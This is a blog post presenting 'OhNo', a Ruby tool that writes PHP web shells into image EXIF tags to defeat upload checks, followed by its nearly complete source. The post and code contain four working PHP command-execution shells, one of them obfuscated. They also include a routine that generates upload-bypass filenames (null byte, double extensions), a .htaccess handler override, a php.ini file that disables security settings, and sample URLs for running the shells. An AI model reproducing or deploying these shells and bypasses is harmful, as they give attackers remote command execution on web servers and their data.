OhNo - The Evil Image Builder & Meta Manipulator

Today I would like to share a little something I made for fun. I previously made a posting on how to bypass general client side checks for uploading shells through open or administrative panels here, well my buddy decided to one up me with a even better posting which you can read here: http://hackers2devnull.blogspot.co.uk/2013/05/how-to-shell-server-via-image-upload.html. In his write-up he talks about embedding PHP code within image tags to bypass weak server side checks which might be only using getimagesize() to verify it is a real image. In cases where this is beatable and there is no or minimal filename re-writing you can get creative as he outlines in his posting to get a shell. This method can also be very highly effective in exploiting include() type vulnerabilities with evil avatars as well! Anyways, he demonstrated things using a tool on Windows so I did some quick looking to see if I could replicate the functionalityt in Ruby, turns out you can :)

Mini_Exiftool to the rescue! As they describe it on their Github page "This library is a wrapper for the Exiftool command-line application (http://www.sno.phy.queensu.ca/~phil/exiftool/) written by Phil Harvey. You will get the full power of Exiftool to Ruby: Reading and writing of EXIF-data, IPTC-data and XMP-data." If you don't know anything about metatags, EXIF data or what I've been talking about then go check out the Exiftool site to read a bit more about it and how it works as it will help you understand whats going on under the hood. 

For quick summary and the lazy, this tool can be used to read and dump the meta tags and meta values off of the files as well as remove and re-write the tag values in many cases. What all is in there? All kinds of random data can be found in the meta data, from manufacturer information from the device which took the picture or recording, to latitude and longitude of where a photo was taken, to who originally authored a document and when, contact info and emails even. There is a great amazing wealth of information available sometimes if you just look! 

In our case we will be taking advantage of all that spare space as r0ng demonstrated to store (evil) PHP code in image files. I made a simple tool to leveraging the Mini_Exiftool gem to automate the process and make it a bit easier for the average user and because i felt like also making a small GUI for things (more fun with Tk bindings). You can find most of the Mini-Exiftool functionality covered in their tutorial, so I won't go over too much as I mostly just linked small functions shown there to fit the command line options parsed by optparse, not too much magic here. You can set options as arguments and run how you like or run in a GUI mode and do it all from there. 

Help Menu:

Dump All Tags and associated Tag Values for file:

Write to Tag (it will try to create if it doesn't exist):


Dump after to confirm file write:


If you set the value to nothing and write it will remove the tag (& value):

Dump after to confirm:


I also created a nuke (-n) option which simply automates the above null write process to remove the tag. The Exiftool CLI and even the gem have more functionality to adjust timestamps and more subtle details, i kept it simple for now so mostly just string values for tags which are writable and hold string values. As a general rule of thumb the 'Comment' tag is almost always writable and/or can be created and written to. Perhaps in the future I will try to further extend to allow such functionality but for now it does what it needs to, embed PHP Shell code in images ;)

Embedding r0ng Shell from CLI:


Hex Dump to Confirm:

Bypass Uploader restrictions or new .htaccess (AddType application/x-httpd-php .png) as described in previous write-ups and then execute your shell in Browser:


I added a -u option which will help quickly build all possible upload filenames. I know i often tend to forget one or two when I do it 100% manually so this just helps me build a folder so I can then run through them all in hopes one will sneak past weak filters and checks.

Launch in GUI mode:


Embedding Sneaky Shell from GUI:


I only tested it with image files as that was my main target but i do believe you should be able to also use the general viewing, deleting and writing with any file Exiftool would support (i.e. PDF, Word, Excel, etc). The CeWL password list generator tool is another Ruby project which leverages Meta data to help profile corporate targets for password auditing purposes, read more about that project here. Please let me know how things work for you and how else this might be useful to you so I can try to improve as time allows.

DOWNLOAD: Zip File w/Gemfile, Both Source Files, and a few Sample Images:DOWNLOAD
  
Getting things working:
Ruby TK Bindings Needed for GUI Support:
COMMAND: apt-get install tk libtk-ruby

If require 'tkextlib/tile' throws in `require': TkPackage can't find package tile (RuntimeError)
COMMANDS: teacup install tile

ExifTool CLI Installation: http://www.sno.phy.queensu.ca/~phil/exiftool/install.html
  • Download file, run commands:
  • cd <your download directory>
  • gzip -dc Image-ExifTool-#.##.tar.gz | tar -xf -
  • cd Image-ExifTool-#.##/
  • perl Makefile.PL
  • make test
  • sudo make install
Once pre-requisites above are met:
COMMANDS: 
  • wget http://uppit.com/l2r0chwr6q4t/OhNo.zip
  • unzip OhNo.zip
  • cd OhNo/
  • bundle install
  • ./ohno -h

Source Code for Full All in One, also outlined below (CLI & GUI): SOURCE

Source Code for Standalone CLI Version (NO GUI): SOURCE

Raw All in One Code:
Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. #!/usr/bin/env ruby
  2. #
  3. # OhNo - Evil Image Builder
  4. # A Ruby ExifTool GUI of sorts
  5. # By: Hood3dRob1n
  6. #
  7. # Pic: http://i.imgur.com/kh8TqVT.png
  8. # Beta: http://uppit.com/7w507etqaly0/OhNo.zip
  9. #
  10. # Pre-Requisites:
  11. # apt-get install tk libtk-ruby
  12. # if require 'tkextlib/tile' throws in `require': TkPackage can't find package tile (RuntimeError)
  13. #       => teacup install tile
  14. #
  15. # MiniExifTool is a wrapper for ExifTool CLI
  16. # ExifTool CLI Installation: http://www.sno.phy.queensu.ca/~phil/exiftool/install.html
  17. #       Download file...
  18. #         cd <your download directory>
  19. #         gzip -dc Image-ExifTool-#.##.tar.gz | tar -xf -
  20. #         cd Image-ExifTool-#.##/
  21. #           perl Makefile.PL
  22. #           make test
  23. #           sudo make install
  24. #
  25.  
  26. ####### STD GEMS #########
  27. require 'fileutils'      #
  28. require 'optparse'       #
  29. ###### NON-STD GEMS ######
  30. require 'mini_exiftool'  #
  31. require 'tk'             #
  32. require 'tkextlib/tile'  #
  33. require 'colorize'       #
  34. ##########################
  35.  
  36. HOME=File.expand_path(File.dirname(__FILE__))
  37. EVIL=HOME + '/evil/'
  38. UP = EVIL + 'uploads/'
  39.  
  40. # Terminal Banner
  41. def banner
  42.   puts
  43.   print <<"EOT".white
  44.  _______________________________
  45. < OhNo - The Evil Image Builder >
  46.  -------------------------------
  47.   \\                 __
  48.    \\               (OO)
  49.     \\              (  )
  50.      \\             /--\\
  51.        __         / \\  \\
  52.       UOOU\\.'@@@@@@`.\\  )
  53.      \\__/(@@@@@@@@@@) /
  54.           (@@@@@@@@)((
  55.           `YY~~~~YY' \\\\
  56.             ||    ||   >>  
  57. EOT
  58. end
  59.  
  60. # Clear Terminal
  61. def cls
  62.   if RUBY_PLATFORM =~ /win32|win64|\.NET|windows|cygwin|mingw32/i
  63.     system('cls')
  64.   else
  65.     system('clear')
  66.   end
  67. end
  68.  
  69. # Delete MetaTag Value
  70. # Returns True on Success, False otherwise
  71. def delete(obj, tag)
  72.   if not obj.tags.include?(tag)
  73.     return false
  74.   else
  75.     obj[tag] = '' # Set to Nothing to Wipe Tag
  76.     if obj.save
  77.       return true
  78.     else
  79.       return false
  80.     end
  81.   end
  82. end
  83.  
  84. # Write String to Tag
  85. # Returns True on Success, False otherwise
  86. def write(obj, str, tag)
  87.   obj[tag] = str
  88.   if obj.save
  89.     return true
  90.   else
  91.     return false
  92.   end
  93. end
  94.  
  95. # Dump Tags & Values
  96. # Returns Hash {Tag=>Value}
  97. def dump(obj)
  98.   tagz={}
  99.   obj.tags.sort.each do |tag|
  100.     tagz.store(tag, obj[tag])
  101.   end
  102.   return tagz
  103. end
  104.  
  105. # Build various Shell Upload Bypass Possibilities
  106. # Generates many possibilities and writes them to: OhNo/evil_images/uploads/
  107. def generate_uploads(shell, flip='gif')
  108.   Dir.mkdir(EVIL) unless File.exists?(EVIL) and File.directory?(EVIL)
  109.   Dir.mkdir(UP) unless File.exists?(UP) and File.directory?(UP)
  110.   php = [ 'php''pHp''php4''php5''phtml' ]
  111.   options = [ 'gif''jpeg''mp3''pdf''png''txt' ]
  112.   shell_name = shell.split('/')[-1]
  113.   # Read provided Shell into Var
  114.   data = File.open(shell).read
  115.   # Generate our Shell Possibilities for Uploading
  116.   php.each do |x|
  117.     a = shell_name.sub(shell.split('/')[-1].split('.')[-1], x)
  118.     f = File.open(UP + a, 'w+')
  119.     f.puts data
  120.     f.close
  121.   end
  122.   options.each do |y|
  123.     # Simple Concatenation of Filetypes: .php.jpeg
  124.     b = shell_name.sub(shell.split('/')[-1].split('.')[-1], shell.split('/')[-1].split('.')[-1] + '.' + y)
  125.     f = File.open(UP + b, 'w+')
  126.     f.puts data
  127.     f.close
  128.     if y =~ /GIF|JPEG|PNG/i
  129.       # Simple Concatenation of Filetypes (reversed order for evil images): .jpeg.php
  130.       c = shell_name.sub(shell.split('/')[-1].split('.')[-1], y +'.' + shell.split('/')[-1].split('.')[-1])
  131.       f = File.open(UP + c, 'w+')
  132.       f.puts data
  133.       f.close
  134.     end
  135.     # Another Concatenation of Filetypes in hopes it drops the trailing type: .php;jpeg
  136.     d = shell_name.sub(shell.split('/')[-1].split('.')[-1], shell.split('/')[-1].split('.')[-1] + ';.' + y)
  137.     f = File.open(UP + d, 'w+')
  138.     f.puts data
  139.     f.close
  140.     # Null Byte to drop the trailing filetype
  141.     e = shell_name.sub(shell.split('/')[-1].split('.')[-1], shell.split('/')[-1].split('.')[-1] + '%00.' + y)
  142.     f = File.open(UP + e, 'w+')
  143.     f.puts data
  144.     f.close
  145.   end
  146.   # Bogus separator, unknown extension causes it to fallback to PHP
  147.   g = shell_name.sub(shell.split('/')[-1].split('.')[-1], shell.split('/')[-1].split('.')[-1] + '.xxxfoo')
  148.   f = File.open(UP + g, 'w+')
  149.   f.puts data
  150.   f.close
  151.  
  152.   # Create .htaccess file for flipping filetype to php
  153.   f = File.open(UP + '.htaccess''w+')
  154.   f.puts "AddType application/x-httpd-php .#{flip}"
  155.   f.close
  156.  
  157.   # PHP_INI Overrides
  158.   f = File.open(UP + 'php.ini''w+')
  159.   f.puts 'disable_functions = none'
  160.   f.puts 'magic_quotes_gpc = off'
  161.   f.puts 'safe_mode = off'
  162.   f.puts 'suhosin.executor.func.blacklist = foofucked'
  163.   f.close
  164. end
  165.  
  166. # PHP Shells for Evil Image Builder
  167. # see more on sneaky shell here: http://blog.sucuri.net/2013/09/ask-sucuri-non-alphanumeric-backdoors.html
  168. sneaky_shell = '<?php @$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_; $_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__]; $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] ); $_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] ); $_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ]; $_=$ $_[$__+ $__] ;$_[@-_]($_[@!+_] );?>'
  169. r0ng_shell = "<?if($_GET['r0ng']){echo'<pre>'.shell_exec($_GET['r0ng']);}?>"
  170. system_shell = "<?error_reporting(0);print(___);system($_REQUEST[cmd]);print(___);die;?>"
  171. eval_shell = "<?error_reporting(0);print(___);eval($_REQUEST[cmd]);print(___);die;?>"
  172. $shell='Sneaky Shell'
  173. $c=1
  174.  
  175. ########### Start DaGUI ###################
  176. # Start Root --
  177. root = TkRoot.new
  178. root.title = "OhNo!"
  179. root.height = 900
  180. root.width = 1200
  181. # root['resizable'] = false, false
  182. root.background = 'grey'
  183. # End Root --
  184.  
  185. # Start Frames --
  186. # Top Frame
  187. top_frame = TkFrame.new(root) do
  188.   height 25
  189.   width 1200
  190.   background 'green'
  191.   pack('side' => 'top''fill' => 'x''anchor' => 's')
  192. end
  193.  
  194. # Bttom Frame
  195. bottom_frame = TkFrame.new(root) do
  196.   background 'grey'
  197.   pack('side' => 'bottom''fill' => 'both''expand'=> true)
  198. end
  199.  
  200. # Left Frame
  201. left_frame = TkFrame.new(root) do
  202.   height 175
  203.   width 210
  204.   background 'grey'
  205.   pack('side' => 'left''fill' => 'both''anchor' => 'se')
  206. end
  207.  
  208. # Right Frame
  209. right_frame = TkFrame.new(root) do
  210.   background 'grey'
  211.   pack('side' => 'right''fill' => 'both''anchor' => 'sw','expand'=> true)
  212. end
  213.  
  214. # End Frames --
  215.  
  216. # Start Labels --
  217. # Main Greeting Label
  218. greeting_label = TkLabel.new(top_frame) do
  219.   padx 10;
  220.   pady 6;
  221.   foreground 'black'
  222.   background 'grey'
  223.   font TkFont.new('family' => 'times''size' => 14"weight" =>'bold')
  224.   text 'The Meta Manipulator'
  225. end
  226. greeting_label.pack('fill' => 'both')
  227.  
  228. right_rfill_label = TkLabel.new(right_frame) do
  229.   padx 10;
  230.   pady 6;
  231.   foreground 'black'
  232.   background 'grey'
  233. end
  234. right_rfill_label.pack('side' => 'right''fill' => 'y')
  235.  
  236. bottom_lfill_label = TkLabel.new(bottom_frame) do
  237.   padx 10;
  238.   pady 6;
  239.   foreground 'black'
  240.   background 'grey'
  241. end
  242. bottom_lfill_label.pack('side' => 'left''fill' => 'y')
  243.  
  244. bottom_rfill_label = TkLabel.new(bottom_frame) do
  245.   padx 10;
  246.   pady 6;
  247.   foreground 'black'
  248.   background 'grey'
  249. end
  250. bottom_rfill_label.pack('side' => 'right''fill' => 'y')
  251.  
  252. bottom_bfill_label = TkLabel.new(bottom_frame) do
  253.   padx 6;
  254.   pady 6;
  255.   foreground 'black'
  256.   background 'grey'
  257. end
  258. bottom_bfill_label.pack('side' => 'bottom''fill' => 'x')
  259.  
  260. # OhNo Image Label
  261. $img_file = "#{HOME}/images/ohno.gif"
  262. image = TkPhotoImage.new
  263. image.file = $img_file
  264. image_label = TkLabel.new(left_frame)
  265. image_label.image = image
  266. image_label.relief = 'groove'
  267. image_label.place('height' => image.height'width' => image.width,'x' => 25'y' => 10)
  268.  
  269. # Loaded Image Label
  270. loaded_label = TkLabel.new(right_frame) do
  271.   padx 10;
  272.   pady 5;
  273.   foreground 'black'
  274.   background 'grey'
  275. #  height 25
  276. #  width 100
  277.   font TkFont.new('family' => 'times''size' => 12"weight" =>'bold')
  278.   text "Currently Loaded: #{$img_file.to_s.split('/')[-1]}"
  279. end
  280. loaded_label.place('x' => 10'y' => 10)
  281.  
  282. enter_tag_label = TkLabel.new(right_frame) do
  283.   padx 10;
  284.   pady 5;
  285.   foreground 'black'
  286.   background 'grey'
  287.   font TkFont.new('family' => 'times''size' => 12"weight" =>'bold')
  288.   text "Enter Tag Name"
  289. end
  290. enter_tag_label.place('x' => 40'y' => 95)
  291. # End Labels --
  292.  
  293. # Start Tree --
  294. tree = Tk::Tile::Treeview.new(bottom_frame)
  295. tree['columns'] = 'Tag Value'
  296. tree.selectmode = 'extended'
  297. tree.height = 10
  298. tree.column_configure( 0:width => 300:anchor => 'center','stretch' => true)
  299. tree.heading_configure( 0:text => 'Tag Name')
  300. tree.column_configure( 1:width => 300:anchor => 'center','stretch' => true)
  301. tree.heading_configure( 1:text => 'Value')
  302.  
  303. # Test Value for load.....
  304. img_name = TkVariable.new
  305. img_name = HOME + '/images/ohno.gif'
  306. $photo = MiniExiftool.new(img_name)
  307.  
  308. count=0
  309. entries = dump($photo)
  310. entries.each do |tag, value|
  311.   if count.to_i > 0
  312.     tree.insert( 'img''end':values => [tag, value])
  313.   else
  314.     tree.insert(''0:id => 'img':text => img_name, :values =>[tag, value])
  315.     count = count.to_i + 1
  316.   end
  317. end
  318. tree.itemconfigure('img''open'true);
  319. tree_yscrollbar = TkScrollbar.new(tree) do
  320.   pack('side'=>'right','fill'=>'y')
  321. end
  322. tree_xscrollbar = TkScrollbar.new(tree) do
  323.   pack('side'=>'bottom','fill'=>'x')
  324. end
  325. tree.yscrollbar(tree_yscrollbar);
  326. tree.xscrollbar(tree_xscrollbar);
  327. tree.pack('side' => 'bottom''fill' => 'both''expand'=> true)
  328. # End Tree --
  329.  
  330. # Tag Results Label
  331. tags_label = TkLabel.new(bottom_frame) do
  332.   padx 10;
  333.   pady 6;
  334.   foreground 'black'
  335.   background 'grey'
  336.   font TkFont.new('family' => 'times''size' => 12"weight" =>'bold')
  337.   text 'Currently Available Tags & Associated Values'
  338. end
  339. tags_label.pack('side' => 'top''fill' => 'x')
  340.  
  341. # Start Input Boxes --
  342. # Tag Name input
  343. tag_input = TkEntry.new(right_frame) { background 'white'; justify'center'; relief 'sunken' }
  344. tag_var = TkVariable.new
  345. tag_input.textvariable = tag_var
  346. tag_var.value = 'Comment'
  347. tag_input.place('height' => 25'width' => 200'x' => 10'y' =>140)
  348.  
  349. # Write String input
  350. write_input = TkEntry.new(right_frame) { background 'white'; justify'center'; relief 'sunken' }
  351. write_var = TkVariable.new
  352. write_input.textvariable = write_var
  353. write_var.value = 'Custom String or Cool Code Here'
  354. write_input.place('height' => 25'width' => 235'x' => 270'y' =>110)
  355. # End Input Boxes --
  356.  
  357. # Start ComboBox --
  358. # Shell Options Drop Down
  359. shell_entries = TkVariable.new
  360. combobox = Tk::Tile::Combobox.new(right_frame) { textvariable shell_entries; justify 'center'}
  361. combobox.values = [ 'Sneaky Shell''r0ng Shell''System Shell','Eval Shell'"I'm Using Custom String" ]
  362. combobox.state = 'readonly'
  363. combobox.set('--+Select Shell+--')
  364. combobox.place('height' => 25'width' => 240'x' => 270'y' =>45)
  365. combobox.bind("<ComboboxSelected>") { $shell = combobox.getputs"Shell Option set to".light_blue + ": #{$shell}".white }
  366. # End ComboBox --
  367.  
  368. # Start Buttons --
  369. # Import New Image Button
  370. import_btn = TkButton.new(right_frame) do
  371.   font TkFont.new('family' => 'times''size' => 10"weight" =>'bold')
  372.   text "Import New Image"
  373.   borderwidth 3
  374.   relief "groove"
  375.   padx 45;
  376.   pady 5;
  377.   command proc {
  378.     #user supplies image file to read into variable
  379.     begin
  380.       $img_file = Tk::getOpenFile :initialdir => "#{HOME}/images/",:initialfile => 'ohno.gif':title => 'Select Image File to Import'
  381.       img_name = $img_file.to_s.split('/')[-1]
  382.       $photo = MiniExiftool.new($img_file)
  383.       count=0
  384.       # Dump Info from new file
  385.       entries = dump($photo)
  386.       # Clear the current image content
  387.       tree.detach "img" if $c.to_i <1
  388.       tree.detach "img#{$c.to_i - 1}" if $c.to_i > 1
  389.       # Refill it now
  390.       entries.each do |tag, value|
  391.         if count.to_i > 0
  392.           tree.insert( "img#{$c}"'end':values => [tag, value])
  393.         else
  394.           tree.delete
  395.           tree.insert(''0:id => "img#{$c}":text => img_name,:values => [tag, value])
  396.           tree.itemconfigure("img#{$c}"'open'true);
  397.           count = count.to_i + 1
  398.         end
  399.       end
  400.       $c = $c.to_i + 1
  401.       puts "Image Changed to".light_blue + ": #{$img_file.to_s.split('/')[-1]}".white
  402.       loaded_label.configure('text'=>"Currently Loaded: #{$img_file.to_s.split('/')[-1]}");
  403.     rescue
  404.       puts 'Problem Importing Image File'.light_red + '!'.white
  405.       Tk::messageBox(:message => 'Problem Importing Image File!',:title => 'Epic Fail!');
  406.     end
  407.   }
  408. end
  409. import_btn.place('x' => 10'y' => 45)
  410.  
  411. # Delete Button
  412. delete_btn = TkButton.new(right_frame) do
  413.   font TkFont.new('family' => 'times''size' => 11"weight" =>'bold')
  414.   text 'Delete Tag/Value'
  415.   padx 60;
  416.   pady 0;
  417.   borderwidth 3
  418.   relief "groove"
  419.   command proc {
  420.     tag_name = tag_input.get.to_s.strip
  421.     if delete($photo, tag_name)
  422.       $photo.reload
  423.       count=0
  424.       # Dump Info from new file
  425.       entries = dump($photo)
  426.       # Clear the current image content
  427.       tree.detach "img" if $c.to_i <1
  428.       tree.detach "img#{$c.to_i - 1}" if $c.to_i > 1
  429.       # Refill it now
  430.       entries.each do |tag, value|
  431.         if count.to_i > 0
  432.           tree.insert( "img#{$c}"'end':values => [tag, value])
  433.         else
  434.           tree.delete
  435.           tree.insert(''0:id => "img#{$c}":text => img_name,:values => [tag, value])
  436.           tree.itemconfigure("img#{$c}"'open'true);
  437.           count = count.to_i + 1
  438.         end
  439.       end
  440.       $c = $c.to_i + 1
  441.       puts "Deletion Complete".light_blue + "!".white
  442.       puts "Reloaded".light_blue + ": #{$img_file.to_s.split('/')[-1]}".white
  443.       loaded_label.configure('text'=>"Currently Loaded: #{$img_file.to_s.split('/')[-1]}");
  444.       Tk::messageBox(:message => "#{tag_name} tag data deleted! Reload image to confirm....":title => 'MetaWipe');
  445.     else
  446.       Tk::messageBox(:message => "Problem deleting #{tag_name} tag! Check tag exists, is spelling correctly, is writable and then try again.....":title => 'MetaWipe Failure');
  447.     end
  448.   }
  449. end
  450. delete_btn.place('x' => 270'y' => 10)
  451.  
  452. # Shell Write Button
  453. shell_write_btn = TkButton.new(right_frame) do
  454.   font TkFont.new('family' => 'times''size' => 11"weight" =>'bold')
  455.   text 'Write Shell to Tag'
  456.   padx 55;
  457.   pady 0;
  458.   borderwidth 3
  459.   relief "groove"
  460.   command proc {
  461.     tag_name = tag_input.get.to_s.strip
  462.     shell_name = combobox.get.to_s.strip
  463.     good=false
  464.     case shell_name
  465.     when 'System Shell'
  466.       good=true
  467.       payload = system_shell
  468.       c = "http://localhost/forum/profile.php?inc=/profiles/0123456789/#{$img_file.split('/')[-1]}?cmd=id"
  469.     when 'Eval Shell'
  470.       good=true
  471.       payload = eval_shell
  472.       c = "http://localhost/#{$img_file.to_s.split('/')[-1]}?cmd=system('id');"
  473.     when 'Sneaky Shell'
  474.       good=true
  475.       payload = sneaky_shell
  476.       c = "http://localhost/#{$img_file.split('/')[-1]}?0=system&1=id"
  477.     when 'r0ng Shell'
  478.       good=true
  479.       payload = r0ng_shell
  480.       c = "http://localhost/#{$img_file.split('/')[-1]}?r0ng=id"
  481.     else
  482.       good=false
  483.       Tk::messageBox(:message => "No Shell Selected! \nSelect a valid Shell Option or try the other button....":title => 'OhNo - Epic Failure!');
  484.     end
  485.     if good
  486.       tmp = HOME + '/temp'
  487.       Dir.mkdir(EVIL) unless File.exists?(EVIL) and File.directory?(EVIL)
  488.       Dir.mkdir(tmp) unless File.exists?(tmp) and File.directory?(tmp)
  489.       real = MiniExiftool.new($img_file)
  490.       innocent = tmp + '/' + $img_file.split('/')[-1]
  491.       FileUtils.copy_file($img_file, innocent, preserve = true)
  492.       Dir.chdir(tmp) do
  493.         photo = MiniExiftool.new($img_file.split('/')[-1])
  494.         v = photo.exiftool_version.to_s.split('.')
  495.         height = photo.image_height
  496.         width = photo.image_width
  497.         puts
  498.         puts "ExifTool v#{v[0]}".light_red + ".".white + "#{v[1]}".light_red
  499.         puts
  500.         if not real.tags.include?(tag_name)
  501.           puts "Provided Tag doesn't appear to exist".light_red +"!".white
  502.           Tk::messageBox(:message => "#{tag_name} doesn't apear to exist! Try generic tag....":title => 'Warning!');
  503.           if real.tags.include?('Comment')
  504.             puts "Trying generic approach to try and write to 'Comment' Tag".light_yellow + ".....".white
  505.             tag_name = 'Comment'
  506.           else
  507.             puts "Trying generic approach to create and write to Comment Tag".light_yellow + ".....".white
  508.             tag_name = 'Comment'
  509.           end
  510.         end
  511.         original = photo[tag_name]
  512.         puts "Attempting to write ".light_blue + "'".white + "#{shell_name}".light_blue + "'".white + " to the ".light_blue +"'".white + "#{tag_name}".light_blue + "'".white + " tag".light_blue+ "....".white
  513.         puts "Current Value".light_blue + ": #{original}".white
  514.         puts "Write String".light_blue + ": \n#{payload}".white
  515.         puts
  516.         if write(photo, payload, tag_name)
  517.           photo.reload
  518.           count=0
  519.           if original != photo[tag_name]
  520.             $photo = photo
  521.             FileUtils.copy_file($img_file.split('/')[-1]"#{EVIL}/#{$img_file.split('/')[-1]}", preserve = true)
  522.             # Dump Info from new file
  523.             entries = dump($photo)
  524.             # Clear the current image content
  525.             tree.detach "img" if $c.to_i <1
  526.             tree.detach "img#{$c.to_i - 1}" if $c.to_i > 1
  527.             # Refill it now
  528.             entries.each do |tag, value|
  529.               if count.to_i > 0
  530.                 tree.insert( "img#{$c}"'end':values => [tag, value])
  531.               else
  532.                 tree.delete
  533.                 tree.insert(''0:id => "img#{$c}":text =>img_name, :values => [tag, value])
  534.                 tree.itemconfigure("img#{$c}"'open'true);
  535.                 count = count.to_i + 1
  536.               end
  537.             end
  538.             $c = $c.to_i + 1
  539.             puts
  540.             Tk::messageBox(:message => "#{shell_name} written successfully! \nFind your evil image here: #{EVIL}#{$img_file.split('/')[-1]}\nTo execute: #{c}":title => 'OhNo - Evil Image Success!');
  541.             puts "Appears things were successful".light_green +"!".white
  542.             puts "Updated Value".light_green + ": #{photo[tag_name]}".white
  543.             puts "Find your evil image here".light_green + ": #{EVIL}#{$img_file.split('/')[-1]}".white
  544.             puts "Example #{shell_name} Shell Execution".light_green+ ": #{c}".white
  545.           else
  546.             Tk::messageBox(:message => "Problem writing to #{tag_name}! \nMake sure Tag name exists, is spelled properly, is writable and then try again....":title => 'OhNo - Epic Failure!');
  547.             puts "WTF".light_red + "?".white + " Doesn't appear we changed the value".light_red + ".....".white
  548.             puts "Value".light_yellow + ": #{photo[tag_name]}".white
  549.             puts "Make sure Tag name was spelled properly, is writable and try again".light_red + "...".white
  550.           end
  551.         else
  552.           Tk::messageBox(:message => "Problem writing to #{tag_name}! \nMake sure Tag name exists, is spelled properly, is writable and then try again....":title => 'OhNo - Epic Failure!');
  553.           puts "Problem writing to '#{tag_name}' Tag".light_red +"!".white
  554.           puts "Make sure Tag name exists, is spelled properly, is writable and then try again".light_red + "...".white
  555.         end
  556.       end
  557.       FileUtils.rm_rf(tmp)
  558.     end
  559.   }
  560. end
  561. shell_write_btn.place('x' => 270'y' => 75)
  562.  
  563. # String Write Button
  564. string_write_btn = TkButton.new(right_frame) do
  565.   font TkFont.new('family' => 'times''size' => 11"weight" =>'bold')
  566.   text 'Write String to Tag'
  567.   padx 50;
  568.   pady 0;
  569.   borderwidth 3
  570.   relief "groove"
  571.   command proc {
  572.     good=false
  573.     tag_name = tag_input.get.to_s.strip
  574.     str = write_input.get.to_s.strip
  575.     if str != 'Custom String or Cool Code Here'
  576.       good=true
  577.     end
  578.     if good
  579.       tmp = HOME + '/temp'
  580.       Dir.mkdir(EVIL) unless File.exists?(EVIL) and File.directory?(EVIL)
  581.       Dir.mkdir(tmp) unless File.exists?(tmp) and File.directory?(tmp)
  582.       real = MiniExiftool.new($img_file)
  583.       innocent = tmp + '/' + $img_file.split('/')[-1]
  584.       FileUtils.copy_file($img_file, innocent, preserve = true)
  585.       Dir.chdir(tmp) do
  586.         photo = MiniExiftool.new($img_file.split('/')[-1])
  587.         v = photo.exiftool_version.to_s.split('.')
  588.         height = photo.image_height
  589.         width = photo.image_width
  590.         puts
  591.         puts "ExifTool v#{v[0]}".light_red + ".".white + "#{v[1]}".light_red
  592.         puts
  593.         if not real.tags.include?(tag_name)
  594.           puts "Provided Tag doesn't appear to exist".light_red +"!".white
  595.           Tk::messageBox(:message => "#{tag_name} doesn't apear to exist! Try generic tag....":title => 'Warning!');
  596.           if real.tags.include?('Comment')
  597.             puts "Trying generic approach to try and write to 'Comment' Tag".light_yellow + ".....".white
  598.             tag_name = 'Comment'
  599.           else
  600.             puts "Trying generic approach to create and write to Comment Tag".light_yellow + ".....".white
  601.             tag_name = 'Comment'
  602.           end
  603.         end
  604.         original = photo[tag_name]
  605.         puts "Attempting to write to the ".light_blue + "'".white +"#{tag_name}".light_blue + "'".white + " tag".light_blue +"....".white
  606.         puts "Current Value".light_blue + ": #{original}".white
  607.         puts "Write String".light_blue + ": \n#{str}".white
  608.         puts
  609.         if write(photo, str, tag_name)
  610.           photo.reload
  611.           count=0
  612.           if original != photo[tag_name]
  613.             $photo = photo
  614.             FileUtils.copy_file($img_file.split('/')[-1]"#{EVIL}/#{$img_file.split('/')[-1]}", preserve = true)
  615.             # Dump Info from new file
  616.             entries = dump($photo)
  617.             # Clear the current image content
  618.             tree.detach "img" if $c.to_i <1
  619.             tree.detach "img#{$c.to_i - 1}" if $c.to_i > 1
  620.             # Refill it now
  621.             entries.each do |tag, value|
  622.               if count.to_i > 0
  623.                 tree.insert( "img#{$c}"'end':values => [tag, value])
  624.               else
  625.                 tree.delete
  626.                 tree.insert(''0:id => "img#{$c}":text =>$img_file.split('/')[-1]:values => [tag, value])
  627.                 tree.itemconfigure("img#{$c}"'open'true);
  628.                 count = count.to_i + 1
  629.               end
  630.             end
  631.             $c = $c.to_i + 1
  632.             puts
  633.             Tk::messageBox(:message => "Custom String written successfully! \nFind your evil image here: #{EVIL}#{$img_file.split('/')[-1]}":title => 'OhNo - Evil Image Success!');
  634.             puts "Appears things were successful".light_green +"!".white
  635.             puts "Updated Value".light_green + ": #{photo[tag_name]}".white
  636.             puts "Find your evil image here".light_green + ": #{EVIL}#{$img_file.split('/')[-1]}".white
  637.           else
  638.             Tk::messageBox(:message => "Problem writing to #{tag_name}! \nMake sure Tag name exists, is spelled properly, is writable and then try again....":title => 'OhNo - Epic Failure!');
  639.             puts "WTF".light_red + "?".white + " Doesn't appear we changed the value".light_red + ".....".white
  640.             puts "Value".light_yellow + ": #{photo[tag_name]}".white
  641.             puts "Make sure Tag name was spelled properly, is writable and try again".light_red + "...".white
  642.           end
  643.         else
  644.           Tk::messageBox(:message => "Problem writing to #{tag_name}! \nMake sure Tag name exists, is spelled properly, is writable and then try again....":title => 'OhNo - Epic Failure!');
  645.           puts "Problem writing to '#{tag_name}' Tag".light_red +"!".white
  646.           puts "Make sure Tag name exists, is spelled properly, is writable and then try again".light_red + "...".white
  647.         end
  648.       end
  649.       FileUtils.rm_rf(tmp)
  650.     end
  651.   }
  652. end
  653. string_write_btn.place('x' => 270'y' => 140)
  654.  
  655. # End Buttons --
  656. ############ End DaGUI ####################
  657.  
  658.  
  659. ### MAIN ### ##
  660. ##################################### #
  661. options = {}
  662. optparse = OptionParser.new do |opts|
  663.   opts.banner = "Usage".light_blue + ": #{$0} ".white + "[".light_blue + "OPTIONS".white + "]".light_blue
  664.   opts.separator ""
  665.   opts.separator "EX".light_blue + ": #{$0} -x".white
  666.   opts.separator "EX".light_blue + ": #{$0} -i ./images/ohno.jpeg -d".white
  667.   opts.separator "EX".light_blue + ": #{$0} -i ./images/ohno.gif -g 1 -t Comment".white
  668.   opts.separator "EX".light_blue + ": #{$0} -i ./images/ohno.gif -w 'HR was here' -t 'Comment'".white
  669.   opts.separator ""
  670.   opts.separator "Options".light_blue + ": ".white
  671.   opts.on('-x''--start-gui'"\n\tStart OhNo in GUI mode".white)do |blah|
  672.     options[:method] = 0
  673.   end
  674.   opts.on('-i''--image IMG'"\n\tImage File to Use".white) do|img|
